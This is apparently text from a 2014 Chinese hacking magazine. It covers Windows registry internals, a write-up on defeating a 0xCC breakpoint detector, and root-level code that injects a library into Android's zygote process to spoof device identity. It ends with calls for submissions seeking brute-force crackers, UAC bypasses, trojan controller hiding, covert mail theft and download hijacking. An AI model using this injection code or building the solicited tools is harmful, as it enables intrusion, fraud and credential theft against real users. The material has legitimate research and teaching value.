对象名字空间的根路径下创建一个称为”REGISTRY”的键对象，实际上它对应着我们前面提

到的注册表键的根键，在其下有两个目录，分别为 Machine 和 User 目录，对应着注册表中

的 HKLM 和 HKU 两个子键。那么注册表中的 HKLM\SYSTEM\Setup 键，在对象管理器中表示为

路径\\REGISTRY\Machine\SYSTEM\Setup。 

注册表键的解析可以理解为对目标键的定位，本质上就是对该键对应 CELL 的位置进行

确定，简单来说，就是完成目标键到目标 CELL的转换。对于已经打开的键，为了加快速度，

Smss.exe 

会话管理器 

winlogon.exe 

登录进程 

Ntoskrnl.exe 

内核文件 

HKLM\SYSTEM 

HKLM\HARDWARE 

HKLM\SAM,HKLM\SECURITY， 

HKLM\SOFTWAR, HKU\.DEFAULT 

HKU\<用户的 SID>储巢 

图 8  注册表建立的三个步骤 
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配置管理器会建立一个长度为 2048 的键散列表，当一个键被打开，则将其对应路径进行散

列，所得的散列值作为键散列表的索引，将该键对应的键控制块放于其中，键控制块存放着

键节点所在的 HIVE 和 CELL 索引，能够直接定位到目标 CELL。 

 

当使用 NtOpenKey 函数要打开一个键时，系统会首先调用\REGISTRY 键对象的 Parse(解

析)方法，该方法被设置为 CmpParseKey 函数，这点使用了 windows 中的对象管理机制，因

为每个对象都会提供一个路径名称解析的 Parse 方法，那么键解析的重点就放在

CmpParseKey 函数中。CmpParseKey 函数会首先将该键对应的全路径进行散列，然后在键散

列表中进行查找，如果找到，则可以直接定位到该键对应的 CELL，如果没有找到，则从目

标键路径的开始进行逐层的查找，对于每一层，同样先进行散列，若在键散列表中存在，说

明已经打开过，则直接定位，进行下一层的解析；若没有在键散列表中找到，则需要按照

HIVE 文件的结构定位到该路径对应的键，并添加到键散列表中去。如此反复，直到定位到

目标键，在这个过程中，由于对每个没在键散列表中的路径进行了打开操作，并建立了相应

的键控制块，因此对一个路径的解析相当于对该路径中的每个节点都进行了解析。 

事情到这里，似乎都很圆满，但是还有一个小小的问题，前面提到，键控制块中存放着

键节点所在的 HIVE 和 CELL 索引，如果整个 HIVE文件是一个整体，那么通过 HIVE 成员定位

键所在的文件，CELL 索引表示该 CELL 在文件中的偏移，两个成员就可以轻松的定位目标

CELL。但是实际情况并不是如此的简单，对于注册表操作当然要将 HIVE 文件读入到内存中，

在 windows xp/server 2003 操作系统的配置管理器实现中，是将一个 HIVE文件中的内容映

射到系统缓存的区间，由于映射是以 BIN 为单位随机映射到系统缓存区间内，这就导致一个

问题：CELL 索引中的内容该如何填充，从而能够定位到内存中对应的 CELL。  

CELL 索引的长度为 32 位，类似于 windows 内存管理中对虚拟地址的分割，CELL 索引也

使用了分段索引的机制，如图 10 下面部分所示。对于一个 CELL索引的解析也如图 10 所示： 

① 每个 HIVE 在内存中有两个 CELL 目录，分别对应固定存储类和易失类，CELL 索引

的最高位说明了该地址是放于哪种类型的 CELL目录中。 

② 紧随存储类型之后的是 10 位长的 CELL 目录索引，可以在 CELL目录的 1024项中定

位一项，从而确定其对应 CELL 表的虚拟内存地址； 

③ 当我们定位到该 CELL 表后，根据 CELL 索引结构中的 9 位 CELL 表索引，定位到该

CELL 所在的 BLOCK 的内存地址； 

④ 最后通过 CELL 索引结构中最后的 12 位定位到目标 CELL。 

需要注意的是，两个 CELL 目录的地址是在该 HIVE文件被加载进入内存时，由配置管理

器设置并保存的，同时 CELL 目录和 CELL 表是存放在换页内存池中独立存在，而不是放于系

统缓存中的。 

…
…

.. 

键控制块 在内存中定位到目标 CELL 

图 9  通过键散列表完成键解析 

指向键控制块 

 

键散列表 

 

 

\..\..\... 

路径散列后放入键散列表中 

HACKER DEFENCE◆38◆

黑
客
防
线
 

ww
w.
ha
ck
er
.c
om
.c
n 

转
载
请
注
明
出
处



 

 

 

小结 

Window 系统的注册表机制内容丰富，可以说涉及到系统和用户的各个方面，本篇文章

沿着逻辑结构--->物理结构---->注册表的初始化--->注册表键解析的思路进行了相应内容

的讨论，难点在于物理结构的了解以及注册表键解析的函数实现。 

 

（完） 

③ 

② 

CELL表索引 

32位 

图 10   CELL 索引的结构 

Cell表 

换页内存池 

 

系统缓存 

HIVE 文件 

内核地址空间 

 

 

 

Bin 

Bin 

Bin 

Bin 

Cell目录 

映    射 

 

映    射 

 

CELL目录索引 CELL表索引 Block内偏移 存储类型 

10位 9 位 12位 1 位 

键控制块 

KeyHive 

KeyCell 

① 

CELL目录索引 
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记一个有趣的 0xCC 检测程序 

文/图 木羊 

这个程序来自看雪的一篇名为《反断点实例》的贴子，版主特地标成“关注”引起了

我的好奇。下载后看了看，觉得挺有趣。首先说说情况，这个程序是个 console，运行后只

有一行可怜巴巴的小字，写着“下个断点试试”。OD 载入，F9走起，看到文字提示后顺手按

了下 F2，接着到了见证奇迹的时刻：程序停在了图1处。 

 

图1 

有点意思！OD 玩得熟了都知道，要让一个按了 F9以后的 OD 停下来并不是那么信手拈来

的事，必须根据黑盒和经验，将断点下到程序必经之路才能断下来。我看了看断下的位置，

正好是 OEP，这就更怪了，按说程序运行起来后通常不会再走 OEP 的。 

我又试了试，发现这个程序确实有意思，似乎随处下一个断点，都能立即断下来——才

怪。我一直觉得，一名逆向工程师是否优秀的标准，是能否设计出全覆盖的路径测试方案，

以本文为例，我们要给得一个“随处下一个断点，都能立即断下来”的结论，最起码也得验

证两个地方：一是覆盖所有断点，二是原则上覆盖所有地方。第一点比较好办，我们知道

OD 的断点有三种，分别是0xCC 断点（即 F2断点）、内存断点和硬件断点，都下一遍就知道

本程序只能0xCC 断点有效，第二点就不太好办了，内存这么大，就算不管 x64和 PAE，Ring3

也是2G 起步，全覆盖是不太容易了，挑几个特例吧。我选择的是主程序的不同区段的内存

空间，以及系统 DLL 的内存空间，发现只有在主程序的.text 区段内下断点才有效。 

到这里我们已经可以基本摸清程序的脉络：在主程序的.text 区段的内存空间中进行
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0xCC 检测。0xCC 检测有同步检测和异步检测两种，区别主要是看有没有新开线程。这个好

确认，只需要稍微设置一下 OD，在调试选项->事件一栏中勾选“中断在新进程”，如图2所

示。 

 

图2 

重新跑起，程序中断在0x011E1360处： 

011E1360   $  55            push    ebp 

011E1361   .  8BEC          mov     ebp, esp 

011E1363   .  83E4 F8       and     esp, 0xFFFFFFF8 

011E1366   .  81EC 3C030000 sub     esp, 0x33C 

011E136C   .  A1 00301F01   mov     eax, dword ptr [0x11F3000] 

011E1371   .  33C4          xor     eax, esp 

011E1373   .  898424 380300>mov     dword ptr [esp+0x338], eax 

011E137A   .  53            push    ebx 

011E137B   .  56            push    esi 

011E137C   .  57            push    edi 

011E137D   .  8D4424 14     lea     eax, dword ptr [esp+0x14] 

011E1381   .  50            push    eax 

011E1382   .  6A 00         push    0x0   ; /pModule = NULL 

011E1384   .  FF15 0CE01E01 call    dword ptr 

[<&KERNEL32.GetModuleHandleW>]                 ; \GetModuleHandleW 

011E138A   .  8BC8          mov     ecx, eax 

011E138C   .  E8 6FFCFFFF   call    011E1000 
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011E1391   .  8B5C24 18     mov     ebx, dword ptr [esp+0x18] 

011E1395   .  83C4 04       add     esp, 0x4 

011E1398   .  8BF8          mov     edi, eax 

011E139A   .  897C24 18     mov     dword ptr [esp+0x18], edi 

011E139E   .  53            push    ebx      ; /dwBytes 

011E139F   .  6A 00         push    0x0          ; |dwFlags = 0x0 

011E13A1   .  FF15 10E01E01 call    dword ptr [<&KERNEL32.GetProcessHeap>]  

; |[GetProcessHeap 

011E13A7   .  50            push    eax     ; |hHeap 

011E13A8   .  FF15 04E01E01 call    dword ptr [<&KERNEL32.HeapAlloc>]  

; \RtlAllocateHeap 

011E13AE   .  8BF0          mov     esi, eax 

011E13B0   .  897424 1C     mov     dword ptr [esp+0x1C], esi 

011E13B4   .  85F6          test    esi, esi 

011E13B6   .  75 14         jnz     short 011E13CC 

011E13B8   .  68 DC1D1F01   push    011F1DDC 

011E13BD   .  E8 96010000   call    011E1558 

011E13C2   .  83C4 04       add     esp, 0x4 

011E13C5   .  56            push    esi      ; /ExitCode 

011E13C6   .  FF15 00E01E01 call    dword ptr [<&KERNEL32.ExitProcess>] 

; \ExitProcess 

后面还有挺长一段，我们下面会继续分析。这里是一条新线程的入口，但现在我们还不

知道这条线程是干什么的，只知道它通过 GetModuleHandleW（0）获取了主程序的地址，然

后调用0x011E1000，最后申请了一些堆内存。不过一个 console 程序跑多线程，很可能就是

采用线程进行异步检测。跟进0x011E1000处的函数，挑主要的看看。 

011E101C  |> \8B4F 3C       mov     ecx, dword ptr [edi+0x3C] 

011E101F  |.  03CF          add     ecx, edi 

011E1021  |.  8139 50450000 cmp     dword ptr [ecx], 0x4550 

011E1027  |.^ 75 EC         jnz     short 011E1015 

011E1029  |.  0FB741 14     movzx   eax, word ptr [ecx+0x14] 
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011E102D  |.  8D51 18       lea     edx, dword ptr [ecx+0x18] 

011E1030  |.  53            push    ebx 

011E1031  |.  0FB759 06     movzx   ebx, word ptr [ecx+0x6] 

011E1035  |.  03D0          add     edx, eax 

011E1037  |.  56            push    esi 

011E1038  |.  33C0          xor     eax, eax 

011E103A  |.  8955 FC       mov     dword ptr [ebp-0x4], edx 

011E103D  |.  33F6          xor     esi, esi 

011E103F  |.  66:3BC3       cmp     ax, bx 

011E1042  |.  73 40         jnb     short 011E1084 

011E1044  |>  0FB7CE        /movzx   ecx, si 

011E1047  |.  B8 D41D1F01   |mov     eax, 011F1DD4  ;  ASCII ".text" 

011E104C  |.  8D0C89        |lea     ecx, dword ptr [ecx+ecx*4] 

011E104F  |.  8D0CCA        |lea     ecx, dword ptr [edx+ecx*8] 

011E1052  |>  8A11          |/mov     dl, byte ptr [ecx] 

011E1054  |.  3A10          ||cmp     dl, byte ptr [eax] 

011E1056  |.  75 1A         ||jnz     short 011E1072 

011E1058  |.  84D2          ||test    dl, dl 

011E105A  |.  74 12         ||je      short 011E106E 

011E105C  |.  8A51 01       ||mov     dl, byte ptr [ecx+0x1] 

011E105F  |.  3A50 01       ||cmp     dl, byte ptr [eax+0x1] 

011E1062  |.  75 0E         ||jnz     short 011E1072 

011E1064  |.  83C1 02       ||add     ecx, 0x2 

011E1067  |.  83C0 02       ||add     eax, 0x2 

011E106A  |.  84D2          ||test    dl, dl 

011E106C  |.^ 75 E4         |\jnz     short 011E1052 

先看到和0x4550进行比较，这是典型的 PE 头魔数，毫无疑问就要对 PE 格式进行某些操

作了。再看下去，是寻找.text 区段的内存空间。还记得上面的分析吗？程序就要在.text

区段的内存空间中检测0xCC 断点，要完成这项工作，首先就得找到内存空间地址。如此看

来，这条线程很可能就是我们要找的异步检测线程。 
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前面已经看到，这个函数调用完毕后是一系列堆内存的操作，这个操作比较无趣，就是

一个内存镜像拷贝。看来程序作者想通过用拷贝镜像和实时内存的比较来检测是否存在0xCC

断点。下个硬断很容易就发现检测核心代码在这里： 

011E1320  |>  8A08          /mov     cl, byte ptr [eax] 

011E1322  |. |3A0C07        |cmp     cl, byte ptr [edi+eax] 

011E1325  |. |74 05         |je      short 011E132C 

011E1327  |. |80F9 CC       |cmp     cl, 0xCC 

011E132A  |. |74 11         |je      short 011E133D 

011E132C  |> |46            |inc     esi 

011E132D  |. |40            |inc     eax 

011E132E  |. |3BF2          |cmp     esi, edx 

011E1330  |.^\72 EE         \jb      short 011E1320 

0x011E1327处就是比较当前字节是否为0xCC。至此这个有趣的0xCC 检测程序的检测机

制就完整地分析出来了。要废了它也很容易，把此处的比较处理，或者干脆把检测线程废了

就可以收工了。有人可能要问，废了这个线程不会对主程序有什么影响吗？一点影响也没有，

这条线程存在的唯一目的就是检测，要是它还肩负一些哪怕一点核心工作，就不能轻易废了

它。可惜甚至很多外挂检测程序就是喜欢用单独的检测线程，以致它们无依无靠的一不留神

就失效了。 

 

（完） 
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非 HOOK 方式伪造 Android 设备特征信息 

文/图 Glorevo 

Android 设备特征信息包括厂商、品牌、型号、IMEI 串号、手机号码、MAC地址和操作

系统版本号等。纷繁的 APP 或多或少都会获取其中某些信息，目的不尽相同。很多时候我们

想禁止应用程序获取设备信息，各种卫士和管家已经满足了这个需求。还有些时候，我们不

想直接禁止读取，而是返回虚假的信息，这个需求也部分实现了，比如 PDroid 和 XPrivacy。 

现有的拦截或伪造手段多为函数钩子，比如 APP 获取 MAC 地址使用的函数是

getMacAddress，对其下 HOOK 则可实现拦截。而 APP 获取手机型号的方式不是函数调用，因

为型号信息是 android.os 包的 Build 类的公有静态属性 MODEL，没有对应的类方法来读取，

APP 只能通过 Build.MODEL 的形式直接取出属性值，所以无法使用 HOOK 手段来拦截 APP 对

此类信息的获取。 

手机的品牌、厂商和 Android 系统版本号等信息和型号类似，是 Build 类的公有静态

属性，无法下 HOOK，要伪造这些信息。有一个办法是修改配置文件，不过要重启系统才能

生效，再次修改则要再次重启。本文将要探讨如何伪造此类特征信息，而不需要修改 ROM，

也无需重启系统，运行时要请求 ROOT 权限，所有修改都是内存操作，重启系统后可还原正

常配置。 

 

思路概述 

假设要让某进程读取到的手机型号是假的，可以向此进程注入代码，由所注入的代码

来修改 android.os.Build.MODEL 的值。 

进一步思考，普通 APP 的进程都是由 zygote 进程 fork 出来的，所以如果把代码注入

到 zygote 进程，则后续创建的新进程读取到的 MODEL 值都是被修改过的虚假信息。 

两种方式看具体需求来使用，前者适合对同一个 APP 进程多次修改信息而无需重启此

APP；后者则是欺骗所有 APP，若要再次修改，则要重启 APP进程才会读取到新的信息。 

 

程序结构 

按上述思路，可以把程序结构分为 3 层：最底层是 C++ 实现的共享库，用以修改属性

值；中间层是 C 语言实现的可执行文件，用来把底层代码注入到目标进程并执行；上层是

Java 应用，在需要伪造设备信息时，调用中层代码向目标进程实施注入，并传递属性名和

新属性值作为参数。 

 

底层修改器的实现 

Build 类 被 定 义 在 Android 源 代 码 （ 此 处 以 4.4 版 本 为 例 ） 的

frameworks/base/core/java/android/os/Build.java 文件中，类中很多属性表示了不同的

特征信息，读者可以阅读源文件注释来了解。这些公有静态属性同时还被修饰为 final，语

言的访问控制是在编译期进行的，所以Java代码只能读取而无法修改final成员的值。final

常量其实是一个伪常量，它有自己的内存地址，我们考虑使用 Native API 来实现修改。 

这里使用 C++ 编写共享库，通过 JNI 桥获得 Build 类的引用，进而查找目标属性的域

ID，最后使用 SetStaticObjectField函数设置新的属性值。 

这需要调用相关的 JNI 函数，离不开 JNI 环境，JNI 环境由一个 JNIEnv* 类型变量来
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传递。在 Java 层使用 System.loadLibrary 加载一个共享库时，库的导出函数 JNI_OnLoad

会得到调用，此函数的第一个参数就会传进来一个与当前线程关联的 JNI 环境指针，通常由

此获得 JNI环境。 

现在的问题是，这个库是由另一个 C 可执行程序将其注入到其它进程中的，不能再从

JNI_OnLoad得到 JNI环境。那么我们就阅读 Android源代码来看 Native API的 loadLibrary

函数是怎么实现的，就知道 JNI 环境是从哪里传递给 JNI_OnLoad 函数的，这样我们就可以

自己编写代码来获取 JNI 环境指针，而不用依赖 JNI_OnLoad 了。 

Android 源代码的 libcore/luni/src/main/java/java/lang/System.java 文件中实现

了 loadLibray 函数，可以看到，通过全局变量 gDvmJni 就可以获得 JNI 环境指针，这个全

局变量是 DvmJniGlobals类型，定义在 dalvik/vm/Globals.h文件中，庆幸的是这个结构并

不复杂，不需要包含过多的头文件，我们把这个结构定义一下，再把 gDvmJni 声明出来就可

以使用了。 

经过以上分析，代码实现就非常简单了，相信读者根据注释和变量名称就能读懂代码，

这里就不必多作讲解了。修改器的代码实现如下： 

 

// modifier.cpp 

#include <string.h> 

#include <jni.h> 

#include <malloc.h> 

 

struct DvmJniGlobals { 

 bool useCheckJni; 

 bool warnOnly; 

 bool forceCopy; 

 bool workAroundAppJniBugs; 

 bool logThirdPartyJni; 

 JavaVM* jniVm; 

}; 

 

extern struct DvmJniGlobals gDvmJni; 

JNIEnv* env = NULL; 

 

int modify( char* parameter ) 

{ 

/* 参数格式： 

* -没有内部类：属性名@属性 

*  如手机型号：MODEL@Nexus 4 

* -属性在内部类：内部类名$属性名@属性 

*  如安卓版本号：VERSION$RELEASE@10.10 

*/ 

 // 获取 JNI 环境 

 if ((gDvmJni.jniVm)->GetEnv((void**) &env, JNI_VERSION_1_4) != JNI_OK) 

  return -1; 

 if (env == NULL) 
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  return -1; 

 char class_name[255] = "android/os/Build"; 

 char property_name[255] = "UNKNOWN"; 

 char property_type[255] = "Ljava/lang/String;"; 

 char property_value[255] = "Unknown"; 

 // 参数解析 

 char* src = parameter; 

 char* dest = property_name; 

 while( *src != '\0' ) 

 { 

  // 检测内部类 

  if( *src == '#' ) 

  { 

   *src++ = '\0'; 

   dest = property_name; 

   strcat( class_name, "$" ); 

   strcat( class_name, parameter ); 

  } 

  // 分离属性名与属性值 

  if( *src == '@' ) 

  { 

   *dest = '\0'; 

   ++src; 

   dest = property_value; 

  } 

  *dest++ = *src++; 

 } 

 *dest = '\0'; 

 // 查找类引用 

 jclass cls = (env)->FindClass( class_name ); 

 if( cls == NULL ) 

  return -1; 

 // 获取域 ID 

 jfieldID fid = (env)->GetStaticFieldID(cls, property_name, 

property_type ); 

 if( fid == NULL ) 

  return -1; 

 // 设置属性值 

 jstring new_value = (env)->NewStringUTF(property_value); 

 (env)->SetStaticObjectField( cls, fid, new_value ); 

 // 释放内存 

 env->DeleteLocalRef( new_value ); 

 env->DeleteLocalRef( cls ); 

 return 0; 
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} 

 

代码中的全局变量 gDvmJni 只是作了声明而没有定义，要加载 libdvm.so 共享库才能

使用，成功编译 Android 源代码之后，这个库文件会生成在 out/host/linux-x86/lib 目录

下。在 Android.mk 文件导入 libdvm.so： 

 

LOCAL_PATH := $(call my-dir) 

include $(CLEAR_VARS) 

LOCAL_LDLIBS += -L./libs -ldvm 

LOCAL_MODULE    := modifier 

LOCAL_SRC_FILES := modifier.cpp 

include $(BUILD_SHARED_LIBRARY) 

 

使用 NDK 编译即可生成 libmodifier.so，由下面的注入器程序将其注入到目标进程执

行，实现设备信息的修改。 

 

中层注入器的实现 

注入器的实现原理也不复杂，代码量比修改器稍大。安卓平台的共享库注入已经不是

什么新鲜事了，因此这里不再重复讲解，请读者在网上学习“android so 注入”的内容，

常见的手法是利用 ptrace 系统调用。这里我们假定读者已经获得或编写了实施 SO 注入的代

码，其接口形式为： 

 

int inject_so( 

 pid_t target_pid,   // 目标进程 PID 

 const char *library_path,  // 要注入的 SO 文件 

 const char *entry_function, // 注入后调用的函数 

 const char *parameter,  // 给函数传递参数 

 size_t parameter_length // 参数长度 

 ); 

 

现在我们开始编写注入器程序，它的命令行参数包括属性名和新属性值，所做的事情

就是把前面的修改器注入到目标进程中。代码也很简单，请读者结合注释来理解。注入器的

代码实现如下： 

 

//SO 注入接口 

extern int inject_so( 

 pid_t target_pid,  

 const char *library_path,  

 const char *entry_function,  

 const char *parameter,  

 size_t parameter_length 

 );     

 

int main(int argc, char** argv)  
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Android远程监控技术 

 

{ 

/* 参数含义： 

* argv[1]：SO 路径 

* argv[2]：属性名 

* argv[3]：属性值 

*/ 

 pid_t target_pid; 

 char* lib_path = NULL; 

 char *parameter = NULL; 

 // 使用 nm 命令获取 modify 函数在 libmodifier.so 中的名称 

 // $ nm -D libmodifier.so | grep modify 

 char entry[] = "_Z12modifyPc"; 

 if ( argc < 4 ) 

  return -1; 

 lib_path = argv[1]; 

 parameter = malloc( strlen( argv[2] ) + strlen( argv[3] ) + 2 ); 

 if ( NULL == parameter ) 

  return -1; 

 

// 为修改器构造参数 

 strcpy( parameter, argv[2] ); 

 strcat( parameter, "@" ); 

 strcat( parameter, argv[3] ); 

 target_pid = find_pid_of("zygote"); 

 if (-1 == target_pid)  

 { 

  free( parameter ); 

  return -1; 

 } 

 if( -1 == inject_so( 

  target_pid, 

  lib_path,  // 修改器路径 

  entry,   // 修改器接口 

  parameter,  // 接口参数：属性名@属性值 

  strlen( parameter )  // 参数长度 

  ) )  

 { 

  free( parameter ); 

  return -1; 

 } 

 free( parameter ); 

 return 0; 

} 
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Android远程监控技术 

 

上层 Java 应用调用注入器 

最后要做的事情就是在我们的 APP 中使用上面的功能模块了，这就更简单了，按需传

递参数来调用注入器即可，不过要注意，注入需要请求 ROOT 权限，关键代码如下： 

 

// Java 

 Process process = null; 

 DataOutputStream os = null; 

 // 请求 ROOT 权限执行注入器 

 try { 

  String cmd = "chmod 777 " + getPackageCodePath(); 

  process = Runtime.getRuntime().exec("su"); 

  os = new DataOutputStream(process.getOutputStream()); 

  os.writeBytes(cmd + "\n"); 

  String executable = "/data/local/tmp/injector"; 

  String libpath = " /data/local/tmp/libmodifier.so";// 前面有空格 

  cmd = executable + libpath; 

  os.writeBytes(cmd + " BRAND 冒牌\n");// 前面和中间均有空格 

  os.writeBytes(cmd + " MANUFACTURER 山寨\n"); 

  os.writeBytes(cmd + " MODEL \"iPhone 6s\"\n"); 

  os.writeBytes(cmd + " VERSION#RELEASE 10.10\n"); 

  os.writeBytes("exit\n"); 

  os.flush(); 

  process.waitFor(); 

 } catch (Exception e) { 

  // return false; 

 } finally { 

  try { 

   if (os != null) { 

    os.close(); 

   } 

   process.destroy(); 

  } catch (Exception e) { 

  } 

 } 

 

如图 1 所示是小米 3，我们利用上面的方法把型号修改成 iPhone 6s，让 360 优化大师

读取到了虚拟信息。 
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2014 年第 8 杂志特约选题征稿 
  

黑客防线于 2013 年推出新的约稿机制，每期均会推出编辑部特选的选题，涵盖信息安

全领域的各个方面。对这些选题有兴趣的读者与作者，可联系投稿信箱：675122680@qq.com、

hadefence@gmail.com，或者 QQ：675122680，确定有意的选题。按照要求如期完成稿件者，

稿酬按照最高标准发放！特别优秀的稿酬另议。第 8 部分选题如下，完整的选题内容请见每

月发送的约稿邮件。 

 

1.绕过 Windows UAC 的权限限制 

 自本期始，黑客防线杂志长期征集有关绕过 Windows UAC 权限限制的文章（已知方法

除外）。 

 1）Windows UAC 高权限下，绕过 UAC 提示进入系统的方法； 

 2）Windows UAC 低权限下，进入系统后提高账户权限的方法。 

 

2.虚拟机穿透 

 主机安装有虚拟机，现已远程控制虚拟机，寻求如何利用虚拟机的弱点，穿透虚拟机，

进而控制本机的方法。 

 

3.同步下载邮件 

 假设本机当前系统已掌控，在用户登录 Web 邮箱时，能够自动后台同步下载邮件并保

存，包括收件箱、发件箱、已发送邮件、联系人等信息，优先实现 gmail、yahoo 信箱。 

 

4.Windows7 屏幕保护密码获取 

 非重启系统状态下，本机（非远程受控机）屏幕保护已启动，本地获取 Windows7 屏幕

保护密码的方法。 

 

5.暴力破解 3389 远程桌面密码 

要求： 

 1）针对 Windows 3389 远程桌面实现暴力破解密码； 

 2）读取指定的用户名和密码字典文件； 

 3）采用多线程； 

 4）所有函数都必须判断错误值； 

 5）使用 VC++2008 编译工具实现，控制台程序； 

 6）代码写成 C++类，直接声明类，调用类成员函数就可以调用功能； 

 7）支持 Windows XP/2003/7/2008。 

 

6.WEB 服务器批量扫描破解 

 1）针对目标 IP 参数要求 

  10.10.0.0/16 

  10.10.3.0/24 

  10.10.1.0-10.255.255.255 

 2）针对目标 Web 服务器扫描要求 

  可以识别目标 Web 服务器上运行的 Web 服务器程序，比如 APACHE 或者 IIS 等，具
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体参考如下： 

  Tomcat Weblogic Jboss 

  Apache J0nAS WebSphere 

  Lotus Server IIS(Webdav) Axis2 

  Coldfusion Monkey HTTPD Nginx 

 3）针对目标 Web 服务器后台扫描 

  针对目标进行后台地址搜索。 

 4）针对目标 Web 后台密码破解 

  搜索到 Web 登录后台以后，尝试弱口令破解，可以指定字典。 

 

7.木马控制端 IP 地址隐藏 

要求： 

 1）在远程控制配置 server 时，一般情况下控制地址是写入被控端的，当木马样本被捕

获分析时，可以分析出控制地址。针对这个问题，研究控制端地址隐藏技术，即使木马样本

被捕获，也无法轻易发现木马的控制端真实地址。 

 2）使用 C 或 C++语言，VC6 或者 VC2008 编译工具实现。 

 

8.Web 后台弱口令暴力破解 

说明： 

 针对国际常用建站系统以及自编写的 WEB 后台无验证码登陆形式的后台弱口令帐密暴

力破解。 

要求： 

 1）能够自动或自定义抓取建站系统后台登陆验证脚本 URL，如 Word Press、Joomla、

Drupal、MetInfo 等常用建站系统； 

 2）根据抓取提交帐密的 URL，可自动或自定义选择提交方式，自动或自定义提交登陆

的参数，这里的自动指的是根据默认字典； 

 3）可自定义设置暴力破解速度，破解的时候需要显示进度条； 

 4）高级功能：默认字典跑不出来的后台，可根据设置相应的 GOOGLE、BING 等搜索引

擎关键字，智能抓取并分析是否是后台以及自动抓取登陆 URL 及其参数；默认字典跑不出

来的帐密可通过 GOOGLE、BING 等搜索引擎抓取目标相关的用户账户、邮箱账户，并以这些

账户简单构造爆破帐密，如用户为 admin，密码可自动填充为域名，用户为 abcd@abcd.com，

账户密码就可以设置为 abcd abcd 以及 abcd abcd123 或 abcd abcd123456 等简单帐密； 

 5）拓展：尽可能的多搜集国外常用建站系统后台来增强该软件查找并定位后台 URL 能

力；暴力破解要稳定，后台 URL 字典以及帐密字典可自定义设置等。 

 

9.编写端口扫描器 

要求： 

 1）扫描出目标机器开放的端口，支持 TCP Connect、SYN、UDP 扫描方式； 

 2）扫描方式采用多线程，并能设置线程数； 

 3）将功能编写成 DLL，导出功能函数； 

 4）代码写成 C++类，直接声明类，调用类成员函数就可以调用功能； 

 5）尽量多做出错异常处理，以防程序意外崩溃； 

 6）使用 VC++2008 编译工具编写； 

 7）支持系统 Windows XP/2003/2008/7。 
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10.Android WIFI Tether 数据转储劫持 

说明： 

 WIFI Tether（开源项目）可以在 ROOT 过的 Android 设备上共享移动网络（也就是我们

常说的 Wi-Fi 热点），请参照 WIFI Tether 实现一个程序，对流经本机的所有网络数据进行分

析存储。 

 

要求： 

 1）开启 WIFI 热点后，对流经本机的所有网络数据进行存储； 

 2）不同的网络协议存储为不同的文件，比如 HTTP 协议存储为 HTTP.DAT； 

 3）针对 HTTP 下载进行劫持，比如用户下载 www.xx.com/abc.zip，软件能拦截此地址并

替换 abc.zip 文件。 

 

11.突破 Windows7 UAC 

说明： 

 编写一个程序，绕过 Windows7 UAC 提示，启动另外一个程序，并使这个程序获取到管

理员权限。 

 

要求： 

 1）Windows UAC 安全设置为最高级别； 

 2）系统补丁打到最新； 

 3）支持 32 位和 64 位系统。 
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2014 年征稿启示 

 

   《黑客防线》作为一本技术月刊，已经 14 年了。这十多年以来基本上形成了一个网络安

全技术坎坷发展的主线，陪伴着无数热爱技术、钻研技术、热衷网络安全技术创新的同仁们

实现了诸多技术突破。再次感谢所有的读者和作者，希望这份技术杂志可以永远陪你一起走

下去。 

投稿栏目： 

首发漏洞  

    要求原创必须首发，杜绝一切二手资料。主要内容集中在各种 0Day 公布、讨论，欢迎

第一手溢出类文章，特别欢迎主流操作系统和网络设备的底层 0Day，稿费从优，可以洽谈

深度合作。有深度合作意向者，直接联系总编辑 binsun20000@hotmail.com。 

Android 技术研究 

    黑防重点栏目，对 android 系统的攻击、破解、控制等技术的研究。研究方向包括 android

源代码解析、android 虚拟机，重点欢迎针对 android 下杀毒软件机制和系统底层机理研究的

技术和成果。 

本月焦点  

    针对时下的热点网络安全技术问题展开讨论，或发表自己的技术观点、研究成果，或针

对某一技术事件做分析、评测。  

漏洞攻防  

    利用系统漏洞、网络协议漏洞进行的渗透、入侵、反渗透，反入侵，包括比较流行的第

三方软件和网络设备 0Day 的触发机理，对于国际国内发布的 poc 进行分析研究，编写并提

供优化的 exploit 的思路和过程；同时可针对最新爆发的漏洞进行底层触发、shellcode 分析

以及对各种平台的安全机制的研究。  

脚本攻防  

    利用脚本系统漏洞进行的注入、提权、渗透；国内外使用率高的脚本系统的 0Day 以及

相关防护代码。重点欢迎利用脚本语言缺陷和数据库漏洞配合的注入以及补丁建议；重点欢

迎 PHP 、JSP 以及 html 边界注入的研究和代码实现。  

工具与免杀 

    巧妙的免杀技术讨论；针对最新 Anti 杀毒软件、HIPS 等安全防护软件技术的讨论。特

别欢迎突破安全防护软件主动防御的技术讨论，以及针对主流杀毒软件文件监控和扫描技术

的新型思路对抗,并且欢迎在源代码基础上免杀和专杀的技术论证! 最新工具，包括安全工

具和黑客工具的新技术分析，以及新的使用技巧的实力讲解。  

渗透与提权  

    黑防重点栏目。欢迎非 windows 系统、非 SQL 数据库以外的主流操作系统地渗透、提

权技术讨论，特别欢迎内网渗透、摆渡、提权的技术突破。一切独特的渗透、提权实际例子

均在此栏目发表，杜绝任何无亮点技术文章！  

溢出研究  

    对各种系统包括应用软件漏洞的详细分析，以及底层触发、shellcode 编写、漏洞模式等。  

外文精粹  

    选取国外优秀的网络安全技术文章，进行翻译、讨论。  

 

网络安全顾问  
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 我们关注局域网和广域网整体网络防/杀病毒、防渗透体系的建立；ARP 系统的整体防

护；较有效的不损失网络资源的防范 DDos 攻击技术等相关方面的技术文章。  

搜索引擎优化  

    主要针对特定关键词在各搜索引擎的综合排名、针对主流搜索引擎的多关键词排名的优

化技术。  

密界寻踪  

    关于算法、完全破解、硬件级加解密的技术讨论和病毒分析、虚拟机设计、外壳开发、

调试及逆向分析技术的深入研究。  

编程解析  

    各种安全软件和黑客软件的编程技术探讨；底层驱动、网络协议、进程的加载与控制技

术探讨和 virus 高级应用技术编写；以及漏洞利用的关键代码解析和测试。重点欢迎

C/C++/ASM 自主开发独特工具的开源讨论。 

投稿格式要求：  

    1）技术分析来稿一律使用 Word 编排，将图片插入文章中适当的位置，并明确标注“图

1”、“图 2”；  

    2）在稿件末尾请注明您的账户名、银行账号、以及开户地，包括你的真实姓名、准确

的邮寄地址和邮编、、QQ 或者 MSN、邮箱、常用的笔名等，方便我们发放稿费。  

    3）投稿方式和和周期：  

 采用 E-Mail 方式投稿，投稿 mail：hadefence@gmail.com、QQ：675122680。投稿后，

稿件录用情况将于 1～3 个工作日内回复，请作者留意查看。每月 10 日前投稿将有机会发表

在下月杂志上，10 日后将放到下下月杂志，请作者朋友注意，确认在下一期也没使用者，

